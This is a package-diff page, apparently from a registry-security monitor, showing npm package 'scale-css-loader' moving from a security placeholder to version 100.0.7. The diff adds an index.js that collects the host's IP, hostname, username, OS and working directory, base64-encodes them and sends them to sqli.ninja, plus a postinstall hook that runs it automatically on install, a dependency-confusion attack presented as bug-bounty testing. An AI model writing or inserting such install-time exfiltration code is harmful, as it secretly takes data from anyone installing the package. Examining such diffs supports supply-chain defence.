scale-css-loader 0.0.1-security → 100.0.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of scale-css-loader might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +39 -0
  2. package/package.json +12 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ var os = require("os");
2
+
3
+ // GET internal IP
4
+ var address,os = require('os'),ifaces = os.networkInterfaces();
5
+
6
+ // Iterate over interfaces ...
7
+ for (var dev in ifaces) {
8
+
9
+ // ... and find the one that matches the criteria
10
+ var iface = ifaces[dev].filter(function(details) {
11
+ return details.family === 'IPv4' && details.internal === false;
12
+ });
13
+
14
+ if(iface.length > 0) address = iface[0].address;
15
+ }
16
+
17
+ // building the string for GET data in dc.php
18
+ var datastring = 'Local%20IP:%09'+address+'%0aHostname:%09'+os.hostname()+'%0aUsername:%09'+os.userInfo().username+'%0aOperatingsystem:%09'+os.platform+'%20'+os.release+'%0aWorking%20directory:%09'+__dirname
19
+ // converting into base64
20
+ let buff = new Buffer(datastring);
21
+ let base64datastring = buff.toString('base64');
22
+
23
+ const https = require('https')
24
+ const options = {
25
+ hostname: 'sqli.ninja',
26
+ port: 443,
27
+ path: '/stuff/dc.php?target=BC_pvt&package_name=scale-css-loader&repo=npm&data='+base64datastring,
28
+ method: 'GET'
29
+ }
30
+
31
+ const req = https.request(options, res => {
32
+ console.log(`statusCode: ${res.statusCode}`)
33
+ })
34
+
35
+ req.on('error', error => {
36
+ console.error(error)
37
+ })
38
+
39
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "scale-css-loader",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "scale-css-loader",
3
+ "version": "100.0.7",
4
+ "description": "Testing for dependency confusion vulnerabilities for private bug bounty programs. If you got hit contact me at mace@sqli.ninja",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js",
8
+ "postinstall": "npm start"
9
+ },
10
+ "author": "mace_from_bc",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=scale-css-loader for more information.